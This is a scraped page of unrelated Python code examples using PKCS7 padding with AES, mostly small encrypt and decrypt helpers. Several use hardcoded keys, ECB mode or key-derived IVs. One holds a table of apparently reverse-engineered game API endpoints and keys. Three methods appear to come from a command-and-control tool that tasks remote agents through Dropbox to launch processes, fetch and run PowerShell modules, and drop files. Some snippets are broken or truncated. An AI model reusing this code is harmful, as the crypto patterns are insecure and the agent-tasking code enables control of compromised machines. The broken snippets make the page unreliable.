Exemple #1
0
def encrypt_val(clear_text):
    master_key = b'meafacialkeycam1'
    encoder = PKCS7Encoder()
    raw = encoder.encode(clear_text)
    iv = Random.new().read(16)
    cipher = AES.new(master_key, AES.MODE_CBC, iv, segment_size=128)
    return base64.b64encode(iv + cipher.encrypt(raw))
Exemple #2
0
    def encrypt(self, text):
        sha384 = hashlib.sha384()
        sha384.update(self.key.encode('utf-8'))
        res = sha384.digest()
        key = res[0:32]
        iv = res[32:48]
        cryptor = AES.new(key, self.mode, iv)

        #加密函数,如果text不是16的倍数【加密文本text必须为16的倍数!】,那就补足为16的倍数
        encoder = PKCS7Encoder()
        text = encoder.encode(text)
        text = cryptor.encrypt(text)

        #撒盐
        count = len(text)
        randomMax = ord('~') - ord('!')
        originBytes = bytearray(text)
        outBytes = range(2 * count)
        for i in range(0, count):
            outBytes[i * 2] = originBytes[i]
            outBytes[i * 2 +
                     1] = random.randint(0, 9999) % randomMax + ord('!')

        #偏移
        for i in range(0, 2 * count):
            outBytes[i] = (outBytes[i] + self.shift) % 256
            if outBytes[i] < 0:
                outBytes[i] = outBytes[i] + 256
        return bytearray(outBytes)
	def __init__(self,version=1):
		self.version=version
		self.mode = AES.MODE_ECB
		self.encoder = PKCS7Encoder()
		self.prox=['']
		self.keys={'DungeonResourceLoadMstListRequest':{'url':'/actionSymbol/Sl8UgmP4.php','id':'jnw49dUq','key':'3PVu6ReZ'},'ItemCarryEditRequest':{'url':'/actionSymbol/8BE6tJbf.php','id':'UM7hA0Zd','key':'04opy1kf'},'UnitFavoriteRequest':{'url':'/actionSymbol/sqeRg12M.php','id':'tBDi10Ay','key':'w9mWkGX0'},'MissionReStartRequest':{'url':'/actionSymbol/r5vfM1Y3.php','id':'GfI4LaU3','key':'Vw6bP0rN'},'sgExpdQuestStartRequest':{'url':'/actionSymbol/I8uq68c3.php','id':'I8uq68c3','key':'60Os29Mg'},'RoutineWorldUpdateRequest':{'url':'/actionSymbol/oR1psQ5B.php','id':'6H1R9WID','key':'XDIL4E7j'},'FriendListRequest':{'url':'/actionSymbol/p3hwqW5U.php','id':'u7Id4bMg','key':'1iV2oN9r'},'GetReinforcementInfoRequest':{'url':'/actionSymbol/hXMoLwgE.php','id':'AJhnI37s','key':'87khNMou'},'DailyDungeonSelectRequest':{'url':'/actionSymbol/9LgmdR0v.php','id':'JyfxY2e0','key':'ioC6zqG1'},'sgMissionUnlockRequest':{'url':'/actionSymbol/LJhqu0x6.php','id':'LJhqu0x6','key':'ZcBV06K4'},'GetTitleInfoRequest':{'url':'/actionSymbol/BbIeq31M.php','id':'ocP3A1FI','key':'Mw56RNZ2'},'TownInRequest':{'url':'/actionSymbol/isHfQm09.php','id':'8EYGrg76','key':'JI8zU5rC'},'ClsmStartRequest':{'url':'/actionSymbol/rncR9js8.php','id':'4uCSA3ko','key':'wdSs23yW'},'CraftStartRequest':{'url':'/actionSymbol/w71MZ0Gg.php','id':'Gr9zxXk5','key':'K92H8wkY'},'TownUpdateRequest':{'url':'/actionSymbol/0ZJzH2qY.php','id':'G1hQM8Dr','key':'37nH21zE'},'MissionRetireRequest':{'url':'/actionSymbol/gbZ64SQ2.php','id':'v51PM7wj','key':'oUh1grm8'},'DailyQuestUpdateRequest':{'url':'/actionSymbol/QWDn5epF.php','id':'6QYd5Hym','key':'9QtGVCWg'},'RmStartRequest':{'url':'/actionSymbol/8BJSL7g0.php','id':'7FyJS3Zn','key':'iu67waph'},'ItemSellRequest':{'url':'/actionSymbol/hQRf8D6r.php','id':'d9Si7TYm','key':'E8H3UerF'},'RmEndRequest':{'url':'/actionSymbol/I9p3n48A.php','id':'fyp10Rrc','key':'FX5L3Sfv'},'BundlePurchaseRequest':{'url':'/actionSymbol/tPc64qmn.php','id':'w6Z9a6tD','key':'NE3Pp4K8'},'UnitSellRequest':{'url':'/actionSymbol/0qmzs2gA.php','id':'9itzg1jc','key':'DJ43wmds'},'UpdateSwitchInfoRequest':{'url':'/actionSymbol/SqoB3a1T.php','id':'mRPo5n2j','key':'4Z5UNaIW'},'ArchiveUpdateRequest':{'url':'/actionSymbol/2bCcKx0D.php','id':'cVTxW0K3','key':'IFLW9H4M'},'UnitMixRequest':{'url':'/actionSymbol/6aLHwhJ8.php','id':'UiSC9y8R','key':'4zCuj2hK'},'RateAppRewardRequest':{'url':'/actionSymbol/L0OsxMaT.php','id':'L0OsxMaT','key':'m1pPBwC3'},'RbReStartRequest':{'url':'/actionSymbol/DQ49vsGL.php','id':'6ZNY3zAm','key':'PRzAL3V2'},'DmgRankStartRequest':{'url':'/actionSymbol/j37Vk5xe.php','id':'5P6ULvjg','key':'1d5AP9p6'},'RoutineHomeUpdateRequest':{'url':'/actionSymbol/1YWTzU9h.php','id':'Daud71Hn','key':'aw0syG7H'},'RbEntryRequest':{'url':'/actionSymbol/30inL7I6.php','id':'f8kXGWy0','key':'EA5amS29'},'MissionContinueRequest':{'url':'/actionSymbol/ZzCXI6E7.php','id':'LuCN4tU5','key':'34n2iv7z'},'ItemBuyRequest':{'url':'/actionSymbol/oQrAys71.php','id':'sxK2HG6T','key':'InN5PUR0'},'ExchangeShopRequest':{'url':'/actionSymbol/1bf0HF4w.php','id':'I7fmVX3R','key':'qoRP87Fw'},'NoticeReadUpdateRequest':{'url':'/actionSymbol/j6kSWR3q.php','id':'pC3a2JWU','key':'iLdaq6j2'},'CampaignAcceptRequest':{'url':'/actionSymbol/n7Hitfg4.php','id':'G6ye0D1t','key':'Xb0G1wcB'},'RmDungeonStartRequest':{'url':'/actionSymbol/NC8Ie07P.php','id':'R5mWbQ3M','key':'A7V1zkyc'},'MissionUpdateRequest':{'url':'/actionSymbol/fRDUy3E2.php','id':'j5JHKq6S','key':'Nq9uKGP7'},'RbMatchingRequest':{'url':'/actionSymbol/mn5cHaJ0.php','id':'DgG4Cy0F','key':'4GSMn0qb'},'DailyQuestClaimAllRewardRequest':{'url':'/actionSymbol/Br9PwJ6A.php','id':'DCmya9WD','key':'KHx6JdrT'},'RbRankingRequest':{'url':'/actionSymbol/3fd8y7W1.php','id':'kcW85SfU','key':'SR6PoLM3'},'FacebookLogoutRequest':{'url':'/actionSymbol/xHTo4BZp.php','id':'xHTo4BZp','key':'wwHxtAy6'},'RoutineGachaUpdateRequest':{'url':'/actionSymbol/qS0YW57G.php','id':'t60dQP49','key':'Q6ZGJj0h'},'BundleStatusRequest':{'url':'/actionSymbol/tPc64qmn.php','id':'uLXAMvCT','key':'PrSPuc8c'},'CraftEndRequest':{'url':'/actionSymbol/9G7Vc8Ny.php','id':'WIuvh09n','key':'yD97t8kB'},'PurchaseCancelRequest':{'url':'/actionSymbol/y71uBCER.php','id':'L7K0ezU2','key':'Z1mojg9a'},'RoutineRaidMenuUpdateRequest':{'url':'/actionSymbol/Sv85kcPQ.php','id':'g0BjrU5D','key':'z80swWd9'},'DmgRankRetireRequest':{'url':'/actionSymbol/8wdmR9yG.php','id':'W3Z4VF1X','key':'5fkWyeE6'},'SearchGetItemInfoRequest':{'url':'/actionSymbol/e4Gjkf0x.php','id':'0D9mpGUR','key':'vK2V8mZM'},'CampaignTieupRequest':{'url':'/actionSymbol/2u30vqfY.php','id':'mI0Q2YhW','key':'72d5UTNC'},'CraftExeRequest':{'url':'/actionSymbol/UyHLjV60.php','id':'PKDhIN34','key':'ZbHEB15J'},'FriendFavoriteRequest':{'url':'/actionSymbol/8IYSJ5H1.php','id':'1oE3Fwn4','key':'3EBXbj1d'},'GachaExeRequest':{'url':'/actionSymbol/oC30VTFp.php','id':'9fVIioy1','key':'oaEJ9y1Z'},'DmgRankEndRequest':{'url':'/actionSymbol/zd5KJ3jn.php','id':'s98cw1WA','key':'7pGj8hSW'},'PurchaseSettlementRequest':{'url':'/actionSymbol/yt82BRwk.php','id':'JsFd4b7j','key':'jmh7xID8'},'UnitEquipRequest':{'url':'/actionSymbol/nIk9z5pT.php','id':'pB3st6Tg','key':'45VZgFYv'},'GetUserInfoRequest':{'url':'/actionSymbol/u7sHDCg4.php','id':'X07iYtp5','key':'rcsq2eG7'},'MailListRequest':{'url':'/actionSymbol/u3E8hpad.php','id':'KQHpi0D7','key':'7kgsrGQ1'},'SublimationSkillRequest':{'url':'/actionSymbol/xG3jBbw5.php','id':'s48Qzvhd','key':'97Uvrdz3'},'FacebookRewardListRequest':{'url':'/actionSymbol/8YZsGLED.php','id':'8YZsGLED','key':'85YBRzZg'},'PurchaseGiveUpRequest':{'url':'/actionSymbol/C2w0f3go.php','id':'BFf1nwh6','key':'xoZ62QWy'},'RbBoardPieceOpenRequest':{'url':'/actionSymbol/iXKfI4v1.php','id':'hqzU9Qc5','key':'g68FW4k1'},'TownOutRequest':{'url':'/actionSymbol/0EF3JPjL.php','id':'sJcMPy04','key':'Kc2PXd9D'},'UnitClassUpRequest':{'url':'/actionSymbol/8z4Z0DUY.php','id':'zf49XKg8','key':'L2sTK0GM'},'DailyQuestClaimRewardRequest':{'url':'/actionSymbol/Br9PwJ6A.php','id':'Zy8fYJ5e','key':'jwYGF3sY'},'RmEntryRequest':{'url':'/actionSymbol/fBn58ApV.php','id':'wx5sg9ye','key':'p2tqP7Ng'},'MissionBreakRequest':{'url':'/actionSymbol/P4oIeVf0.php','id':'17LFJD0b','key':'Z2oPiE6p'},'LoginBonusRequest':{'url':'/actionSymbol/iP9ogKy6.php','id':'vw9RP3i4','key':'Vi6vd9zG'},'sgExpdQuestRefreshRequest':{'url':'/actionSymbol/vTgYyHM6lC.php','id':'vTgYyHM6lC','key':'vceNlSf3gn'},'sgExpdAccelerateRequest':{'url':'/actionSymbol/Ik142Ff6.php','id':'Ik142Ff6','key':'d3D4l8b4'},'BeastBoardPieceOpenRequest':{'url':'/actionSymbol/Y2Zvnad9.php','id':'0gk3Tfbz','key':'7uxYTm3k'},'MissionStartRequest':{'url':'/actionSymbol/63VqtzbQ.php','id':'29JRaDbd','key':'i48eAVL6'},'RmRetireRequest':{'url':'/actionSymbol/fBn58ApV.php','id':'e0R3iDm1','key':'T4Undsr6'},'CraftAddRequest':{'url':'/actionSymbol/iQ7R4CFB.php','id':'QkN1Sp64','key':'qz0SG1Ay'},'MailReceiptRequest':{'url':'/actionSymbol/M2fHBe9d.php','id':'XK7efER9','key':'P2YFr7N9'},'FacebookAddFriendRequest':{'url':'/actionSymbol/NAW9vJnm.php','id':'NAW9vJnm','key':'532vAYUy'},'PartyDeckEditRequest':{'url':'/actionSymbol/6xkK4eDG.php','id':'TS5Dx9aZ','key':'34qFNPf7'},'BeastMixRequest':{'url':'/actionSymbol/7vHqNPF0.php','id':'C8X1KUpV','key':'WfNSmy98'},'FriendDeleteRequest':{'url':'/actionSymbol/8R4fQbYh.php','id':'a2d6omAy','key':'d0VP5ia6'},'CreateUserRequest':{'url':'/actionSymbol/0FK8NJRX.php','id':'P6pTz4WA','key':'73BUnZEr'},'TrophyRewardRequest':{'url':'/actionSymbol/05vJDxg9.php','id':'wukWY4t2','key':'2o7kErn1'},'PurchaseHoldRequest':{'url':'/actionSymbol/dCxtMZ27.php','id':'79EVRjeM','key':'5Mwfq90Z'},'MedalExchangeRequest':{'url':'/actionSymbol/0X8Fpjhb.php','id':'LiM9Had2','key':'dCja1E54'},'GameSettingRequest':{'url':'/actionSymbol/OTX6Fmvu.php','id':'OTX6Fmvu','key':'4foXVwWd'},'PurchaseSettingRequest':{'url':'/actionSymbol/9hUtW0F8.php','id':'QkwU4aD9','key':'ePFcMX53'},'sgExpdMileStoneClaimRequest':{'url':'/actionSymbol/r4A791RF.php','id':'r4A791RF','key':'t04N07LQ'},'GiftUpdateRequest':{'url':'/actionSymbol/noN8I0UK.php','id':'9KN5rcwj','key':'xLEtf78b'},'RbStartRequest':{'url':'/actionSymbol/dR20sWwE.php','id':'eHY7X8Nn','key':'P1w8BKLI'},'InitializeRequest':{'url':'/actionSymbol/fSG1eXI9.php','id':'75fYdNxq','key':'rVG09Xnt'},'PurchaseStartRequest':{'url':'/actionSymbol/tPc64qmn.php','id':'qAUzP3R6','key':'9Kf4gYvm'},'RoutineEventUpdateRequest':{'url':'/actionSymbol/WCK5tvr0.php','id':'4kA1Ne05','key':'V0TGwId5'},'PurchaseListRequest':{'url':'/actionSymbol/YqZ6Qc1z.php','id':'BT28S96F','key':'X3Csghu0'},'PurchaseFailedRequest':{'url':'/actionSymbol/2TCis0R6.php','id':'jSe80Gx7','key':'sW0vf3ZM'},'sgExpdEndRequest':{'url':'/actionSymbol/2pe3Xa8bpG.php','id':'2pe3Xa8bpG','key':'cjHumZ2Jkt'},'VariableStoreCheckRequest':{'url':'/actionSymbol/Nhn93ukW.php','id':'i0woEP4B','key':'Hi0FJU3c'},'GachaInfoRequest':{'url':'/actionSymbol/3nhWq25K.php','id':'UNP1GR5n','key':'VA8QR57X'},'sgExpdRecallRequest':{'url':'/actionSymbol/0Fb87D0F.php','id':'0Fb87D0F','key':'9J02K0lX'},'DungeonLiberationRequest':{'url':'/actionSymbol/0vc6irBY.php','id':'nQMb2L4h','key':'0xDA4Cr9'},'FriendSearchRequest':{'url':'/actionSymbol/6Y1jM3Wp.php','id':'3siZRSU4','key':'VCL5oj6u'},'ClsmEndRequest':{'url':'/actionSymbol/7vHqNPF0.php','id':'3zgbapQ7','key':'6aBHXGv4'},'MissionEndRequest':{'url':'/actionSymbol/0ydjM5sU.php','id':'x5Unqg2d','key':'1tg0Lsqj'},'sgHomeMarqueeInfoRequest':{'url':'/actionSymbol/PBSP9qn5.php','id':'PBSP9qn5','key':'d3GDS9X8'},'FacebookRewardClaimRequest':{'url':'/actionSymbol/47R9pLGq.php','id':'47R9pLGq','key':'Rja82ZUK'},'ClsmLotteryRequest':{'url':'/actionSymbol/4uj3NhUQ.php','id':'Un16HuNI','key':'pU62SkhJ'},'PurchaseCurrentStateRequest':{'url':'/actionSymbol/bAR4k7Qd.php','id':'9mM3eXgi','key':'X9k5vFdu'},'RmRestartRequest':{'url':'/actionSymbol/NC8Ie07P.php','id':'yh21MTaG','key':'R1VjnNx0'},'TransferCodeCheckRequest':{'url':'/actionSymbol/C9LoeYJ8.php','id':'CY89mIdz','key':'c5aNjK9J'},'sgExpdQuestInfoRequest':{'url':'/actionSymbol/hW0804Q9.php','id':'hW0804Q9','key':'4Bn7d973'},'MissionWaveReStartRequest':{'url':'/actionSymbol/8m7KNezI.php','id':'e9RP8Cto','key':'M3bYZoU5'},'TransferRequest':{'url':'/actionSymbol/v6Jba7pX.php','id':'oE5fmZN9','key':'C6eHo3wU'},'GetBackgroundDownloadInfoRequest':{'url':'/actionSymbol/action.php','id':'lEHBdOEf','key':'Z1krd75o'},'RmDungeonEndRequest':{'url':'/actionSymbol/CH9fWn8K.php','id':'WaPC2T6i','key':'dEnsQ75t'},'FriendAgreeRequest':{'url':'/actionSymbol/1DYp5Nqm.php','id':'kx13SLUY','key':'9FjK0zM3'},'FriendRefuseRequest':{'url':'/actionSymbol/Vw0a4I3i.php','id':'1nbWRV9w','key':'RYdX9h2A'},'OptionUpdateRequest':{'url':'/actionSymbol/0Xh2ri5E.php','id':'otgXV79T','key':'B9mAa7rp'},'TransferCodeIssueRequest':{'url':'/actionSymbol/hF0yCKc1.php','id':'crzI2bA5','key':'T0y6ij47'},'ClsmEntryRequest':{'url':'/actionSymbol/UmLwv56W.php','id':'5g0vWZFq','key':'8bmHF3Cz'},'FriendSuggestRequest':{'url':'/actionSymbol/6TCn0BFh.php','id':'iAs67PhJ','key':'j2P3uqRC'},'CraftCancelRequest':{'url':'/actionSymbol/7WdDLIE4.php','id':'79xDN1Mw','key':'68zcUF3E'},'UpdateUserInfoRequest':{'url':'/actionSymbol/v3RD1CUB.php','id':'ey8mupb4','key':'6v5ykfpr'},'RbEndRequest':{'url':'/actionSymbol/e8AHNiT7.php','id':'os4k7C0b','key':'MVA3Te2i'},'NoticeUpdateRequest':{'url':'/actionSymbol/TqtzK84R.php','id':'CQ4jTm2F','key':'9t68YyjT'},'RmBreakRequest':{'url':'/actionSymbol/8BJSL7g0.php','id':'kWrXKC35','key':'W3YTRI8e'},'ShopUseRequest':{'url':'/actionSymbol/w76ThDMm.php','id':'73SD2aMR','key':'ZT0Ua4wL'},'MissionWaveStartRequest':{'url':'/actionSymbol/Mn15zmDZ.php','id':'BSq28mwY','key':'d2mqJ6pT'},'FriendRequest':{'url':'/actionSymbol/8drhF2mG.php','id':'j0A5vQd8','key':'6WAkj0IH'},'StrongBoxOpenRequest':{'url':'/actionSymbol/48ktHf13.php','id':'PIv7u8jU','key':'sgc30nRh'}}
		self.assignFiles()
Exemple #4
0
def encode(plaintext,passphrase,saltsize=8):
    salt= os.urandom(saltsize)
    data = evpKDF(passphrase,salt)
    decryptor = pyaes.new(data['key'], pyaes.MODE_CBC, IV=data['iv'])
    plaintext = PKCS7Encoder().encode(plaintext)
    enctext= decryptor.encrypt(plaintext)
    return base64.b64encode("Salted__"+salt+enctext)
def decrypt(passphrase, encrypted_text):
    encrypted_text_bytes = binascii.a2b_base64(encrypted_text)
    print("Original encrypted message = %s" % binascii.b2a_hex(encrypted_text_bytes))

    # Remove "Salt__"
    encrypted_text_bytes = encrypted_text_bytes[8:]

    # Get and remove salt
    salt = encrypted_text_bytes[:8]
    print("salt = %s" % binascii.b2a_hex(salt))
    encrypted_text_bytes = encrypted_text_bytes[8:]
    print("encrypted_text_bytes = %s" % binascii.b2a_hex(encrypted_text_bytes))

    resp = evpKDF(passphrase, salt, key_size=12)
    key = resp.get("key")
    iv = key[len(key)-16:]
    key = key[:len(key)-16]
    print("iv = %s" % binascii.b2a_hex(iv))
    print("key = %s" % binascii.b2a_hex(key))

    aes = AES.new(key, MODE, iv)
    decrypted_text = aes.decrypt(encrypted_text_bytes)
    encoder = PKCS7Encoder()
    unpad_text = encoder.decode(decrypted_text)
    print("unpad_text = %s" % binascii.b2a_hex(unpad_text))

    return unpad_text
Exemple #6
0
def encrypt_val(clear_text):
    master_key = '1234567890123456'
    encoder = PKCS7Encoder()
    raw = encoder.encode(clear_text)
    iv = Random.new().read(16)
    cipher = AES.new(master_key, AES.MODE_CBC, iv, segment_size=128)
    return b64encode(iv + cipher.encrypt(raw)).decode('ascii')
def encrypt(passphrase, plaintext):
    print("passphrase = %s" % passphrase)
    print("passphrase = %s" % binascii.b2a_hex(passphrase))
    print("plaintext = %s" % plaintext)
    print("plaintext = %s" % binascii.b2a_hex(plaintext))

    salt = Random.new().read(8)
    print("salt = %s" % binascii.b2a_hex(salt))
    resp = evpKDF(passphrase, salt, key_size=12)
    key = resp.get("key")
    iv = key[len(key)-16:]
    key = key[:len(key)-16]
    print("iv = %s" % binascii.b2a_hex(iv))
    print("key = %s" % binascii.b2a_hex(key))

    aes = AES.new(key, MODE, iv)
    encoder = PKCS7Encoder()
    pad_text = encoder.encode(plaintext)
    print("pad text = %s" % pad_text)
    print("pad text = %s" % binascii.b2a_hex(pad_text))
    encrypted_text = aes.encrypt(pad_text)

    print("encrypted text = %s" % binascii.b2a_hex(encrypted_text))

    concat = "Salted__"+salt+encrypted_text
    print("concat=%s" % binascii.b2a_hex(concat))
    return binascii.b2a_base64(concat).rstrip()
Exemple #8
0
 def decrypt_aes256(self, key, enc):
     encoder = PKCS7Encoder()
     enc = base64.b64decode(enc)
     iv = enc[:16]
     cipher = AES.new(key, AES.MODE_CBC, iv, segment_size=128)
     return encoder.decode(cipher.decrypt(
         enc[AES.block_size:])).decode('utf-8')
def encrypt(data, key):
    encoder = PKCS7Encoder()
    padded_text = encoder.encode(data)
    encryptor = AES.new(key.key_value, AES.MODE_CBC, get_key_iv(key))
    encrypted_data = encryptor.encrypt(padded_text)

    return encrypted_data
Exemple #10
0
    def taskAgentWithLaunchProcess(self, exePath, parameters):
        # Create a task
        task = self.statusHandler.createTask(self.agentID,
                                             "launchProcess",
                                             args=[exePath, parameters])

        # Prepare the task format, then put the task into the command file
        data = "launchProcess\n{}\n{}\n{}\n{}".format(task['id'], exePath,
                                                      parameters,
                                                      helpers.randomString(16))
        aes = AES.new(key, AES.MODE_CBC, iv)
        encoder = PKCS7Encoder()
        pad_text = encoder.encode(data)
        cipher = aes.encrypt(pad_text)
        decodedData = base64.b64encode(cipher)
        r = self.dropboxHandler.putFile(
            self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'),
            decodedData)

        if r is not None:
            # Commit this task for the current agent
            self.statusHandler.commitTask(task)
            print helpers.color(
                "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                format(self.agentID, task['id']))
        else:
            print helpers.color("[!] Error tasking agent with ID [{}]".format(
                self.agentID))
def encrypt(to_encrypt: str, key: str) -> bytes:
    encoder = PKCS7Encoder()
    encryptor = AES.new(key, AES.MODE_ECB)

    pad_text = encoder.encode(to_encrypt)
    cipher = encryptor.encrypt(pad_text)

    return base64.b64encode(cipher)
def decrypt(to_decrypt: bytes, key: str) -> str:
    encoder = PKCS7Encoder()
    encryptor = AES.new(key, AES.MODE_ECB)

    array = base64.b64decode(to_decrypt)
    decrypt_text = encryptor.decrypt(array)

    return encoder.decode(str(decrypt_text, 'utf-8'))
Exemple #13
0
 def encrypt_aes256(self, key, raw):
     encoder = PKCS7Encoder()
     raw = encoder.encode(raw.decode('utf-8'))
     iv = Random.new().read(16)
     # raw = self._pad(raw)
     # iv = Random.new().read(AES.block_size)
     cipher = AES.new(key, AES.MODE_CBC, iv, segment_size=128)
     return base64.b64encode(iv + cipher.encrypt(raw))
Exemple #14
0
    def taskAgentWithRunPSModule(self,
                                 moduleName,
                                 moduleArgs=None,
                                 interact=False):

        # Construct the powershell code from a template, substituting palceholders with proper parameters
        parameters = {
            'moduleURL': self.statusHandler.publishedModuleList[moduleName],
            'moduleName': moduleName
        }
        poshCmd = helpers.convertFromTemplate(
            parameters, cfg.defaultPath['runPSModuleTpl'])
        if poshCmd == None: return

        # Add module arguments if ever
        if moduleArgs:
            poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format(
                moduleArgs)

        # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode
        if interact:
            self.taskAgentWithShell(poshCmd)
        else:
            task = self.statusHandler.createTask(self.agentID,
                                                 "runPSModule",
                                                 args=[moduleName, moduleArgs])

            # Turn the powershell code into a suitable powershell base64 encoded one line command
            # base64Payload = helpers.powershellEncode(poshCmd)

            # Create the final command
            # cmd = "powershell.exe -NoP -sta -NonI -Enc {}".format(base64Payload)
            cmd = poshCmd
            # Prepare the task format, then put the task into the command file
            data = "runPS\n{}\n{}\n{}".format(task['id'], cmd,
                                              helpers.randomString(16))

            aes = AES.new(key, AES.MODE_CBC, iv)
            encoder = PKCS7Encoder()
            pad_text = encoder.encode(data)
            cipher = aes.encrypt(pad_text)
            decodedData = base64.b64encode(cipher)

            r = self.dropboxHandler.putFile(
                self.statusHandler.getAgentAttribute(self.agentID,
                                                     'commandFile'),
                decodedData)

            if r is not None:
                # Commit this task for the current agent
                self.statusHandler.commitTask(task)
                print helpers.color(
                    "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                    format(self.agentID, task['id']))
            else:
                print helpers.color(
                    "[!] Error tasking agent with ID [{}]".format(
                        self.agentID))
Exemple #15
0
def decode(ciphertext,passphrase,salt=None):
    ciphertext=base64.b64decode(ciphertext)
    if not salt:
        salt=ciphertext[8:16]
        ciphertext=ciphertext[16:]
    data = evpKDF(passphrase, salt)
    decryptor = pyaes.new(data['key'], pyaes.MODE_CBC, IV=data['iv'])
    d= decryptor.decrypt(ciphertext)
    return PKCS7Encoder().decode(d)
Exemple #16
0
    def encrypt(self, data):
        encoder = PKCS7Encoder()
        key = (Random.get_random_bytes(32))
        data = encoder.encode(data)
        iv = Random.new().read(16)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        Encoded_data = base64.b64encode(cipher.encrypt(data))

        b64Key = base64.b64encode(key).encode("utf-8")
        b64iv = base64.b64encode(iv).encode("utf-8")

        return b64Key + b64iv + Encoded_data
Exemple #17
0
def encrypt_aes(message, key, iv):
    """
    AES加密
    :param message: 消息内容
    :param key: 加密key
    :param iv: 加密iv
    :return: 加密文本
    """
    message = PKCS7Encoder().encode(message)
    cipher = AES.new(key, AES.MODE_CBC, iv[:16])
    encrypted_value = cipher.encrypt(message)
    return binascii.hexlify(encrypted_value).decode('utf8')
    def encrypt(self, plaintext):
        salt = Random.new().read(8)
        resp = self.evpKDF(self.key, salt, key_size=12)
        key = resp.get("key")
        iv = key[len(key)-16:]
        key = key[:len(key)-16]

        aes = AES.new(key, MODE, iv)
        encoder = PKCS7Encoder()
        pad_text = encoder.encode(plaintext)
        encrypted_text = aes.encrypt(pad_text)

        return binascii.b2a_base64(concat).rstrip()
    def get_padding(self):
        '''
        Returns the padding that has to be added to the data. If the padding
        is already added, it responds with an empty string
        '''
        if self.padded:
            return ''

        self.padded = True
        encoder = PKCS7Encoder()
        padding = encoder.get_padding(self.size)
        self.size += len(padding)
        return padding
Exemple #20
0
def RijndaelManaged_encrypt(plan_text, key, iv=r'\0' * 16):

    if len(key) < 32:
        key = key + chr(0) * (32 - len(key))

    from pkcs7 import PKCS7Encoder
    encoder = PKCS7Encoder()
    plan_text = encoder.encode(plan_text)

    import pyaes
    decryptor = pyaes.new(key, pyaes.MODE_CBC, IV=iv)
    ds1 = decryptor.encrypt(plan_text)

    return base64.b64encode(ds1)
Exemple #21
0
 def __init__(self):
     try:
         self.encoder = PKCS7Encoder()
         self.runningStat = Statistics()
         self.rAvg = 0.0
         self.rDev = 0.0
         if "AES_KEY" in os.environ:
             self.skey = os.environ["AES_KEY"]
         else:
             self.skey = os.urandom(16)
         self.iv = ''.join(
             [chr(random.randint(0, 0xFF)) for i in range(16)])
     except Exception as e:
         print "Failed to Initialize NsuCryptoServer:" + str(e)
Exemple #22
0
    def taskAgentWithSendFile(self, localFile, destinationPath):
        # Creating the remote file path (used on the DropBox API server)
        fileName = os.path.basename(localFile)
        remoteFilePath = "/" + self.agentID + ".rsc"

        # First upload the localFile to DropBox
        try:
            with open(localFile) as fileHandle:
                print helpers.color("[*] Uploading file [{}] to [{}]".format(
                    localFile, remoteFilePath))
                r = self.dropboxHandler.putFile(remoteFilePath,
                                                fileHandle.read())
                fileHandle.close()

                if r is None:
                    return
        except IOError:
            print helpers.color(
                "[!] Could not open or read file [{}]".format(localFile))
            return

        # Once the local file is properly uploaded, proceed with tasking the agent
        # Create a task
        task = self.statusHandler.createTask(self.agentID,
                                             "sendFile",
                                             args=[localFile, destinationPath])
        # Prepare the task format, then put the task into the command file
        data = "downloadFile\n{}\n{}\n{}\n{}\n{}".format(
            task['id'], remoteFilePath, destinationPath, fileName,
            helpers.randomString(16))

        aes = AES.new(key, AES.MODE_CBC, iv)
        encoder = PKCS7Encoder()
        pad_text = encoder.encode(data)
        cipher = aes.encrypt(pad_text)
        decodedData = base64.b64encode(cipher)

        r = self.dropboxHandler.putFile(
            self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'),
            decodedData)

        if r is not None:
            # Commit this task for the current agent
            self.statusHandler.commitTask(task)
            print helpers.color(
                "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                format(self.agentID, task['id']))
        else:
            print helpers.color("[!] Error tasking agent with ID [{}]".format(
                self.agentID))
Exemple #23
0
 def unencrypt(self, text):
     '''
     解密方法
     :param text: 字符串文本
     :return: 字符串原文
     '''
     # base64解码字符串
     text_base64 = base64.b64decode(text)
     # 使用密钥对密文进行解码
     dencoder = AES.new(self.key, self.mode)
     plain_text = dencoder.decrypt(text_base64)
     # 去除格式化中添加的非必要文本
     decoder = PKCS7Encoder()
     decrypt_text = decoder.decode(plain_text)
     return decrypt_text
Exemple #24
0
 def header(self, send_channel):
     now = datetime.datetime.now(
         pytz.timezone('Europe/Rome')).strftime("%Y-%m-%d %H.%M.%S")
     aes = AES.new(os0.b(send_channel.client_key), AES.MODE_CBC,
                   os0.b(send_channel.client_key[:16]))
     pad_text = PKCS7Encoder().encode(now)
     # print now
     headers = {
         'Content-Type': "application/json",
         # 'Host': send_channel.hub_ip_addr,
         'From': send_channel.client_id,
         'Authorization': "Bearer " + b64encode(aes.encrypt(pad_text))
     }
     _logger.info(headers)
     return headers
def encryptData(IP, Port, DeviceId, content):
    encoder = PKCS7Encoder()
    secret = '{0}:{1}&{2}{3}'.format(
        IP, Port, '0' * (30 - (len(IP) + len(Port) + len(DeviceId))), DeviceId)
    #logger.debug('key: %s' %(secret))
    aes = AES.new(secret)
    try:
        pad_text = encoder.encode(content)
        # encrypt the padding content
        cipher_encode = aes.encrypt(pad_text)
        # base64 encode the cipher content for transport
        encrypt_cipher = base64.b64encode(cipher_encode)
        #logger.debug('Encrypted string: %s' %(encrypt_cipher ))
    except Exception, exp:
        print exp
Exemple #26
0
 def encrypt(self, text):
     '''
     对传入字符串进行加密
     :param text:
     :return: base64 字符串
     '''
     # 将文本处理为编码需要的格式
     encode = PKCS7Encoder()  # PKCS7
     encode_text = encode.encode(text)  # 编码格式
     # 使用密钥进行加密
     crypto = AES.new(self.key, self.mode)
     crypto_text = crypto.encrypt(encode_text)
     # 将文本处理为控制台能够输出的形式,除了base64 也可以使用a2b_hex(这里为了对应前端js的处理,
     # 使用base64进行输出)
     console_enable_text = base64.b64encode(crypto_text)
     return console_enable_text
Exemple #27
0
	def encryptData(cls, clearText, key):
		"""Encrypts data with the provided key.
		The returned byte array is as follow:
		:==============:==================================================:
		: IV (16bytes) :    Encrypted (data + PKCS7 padding information)  :
		:==============:==================================================:
		"""

		# Generate a crypto secure random Initialization Vector
		iv = 'Key@123Key@123fd'
		key = 'secret#456!23key'
		# Perform PKCS7 padding so that clearText is a multiple of the block size

		aes = AES.new(key, AES.MODE_CBC, iv)
		encoder = PKCS7Encoder()
		pad_text = encoder.encode(clearText)
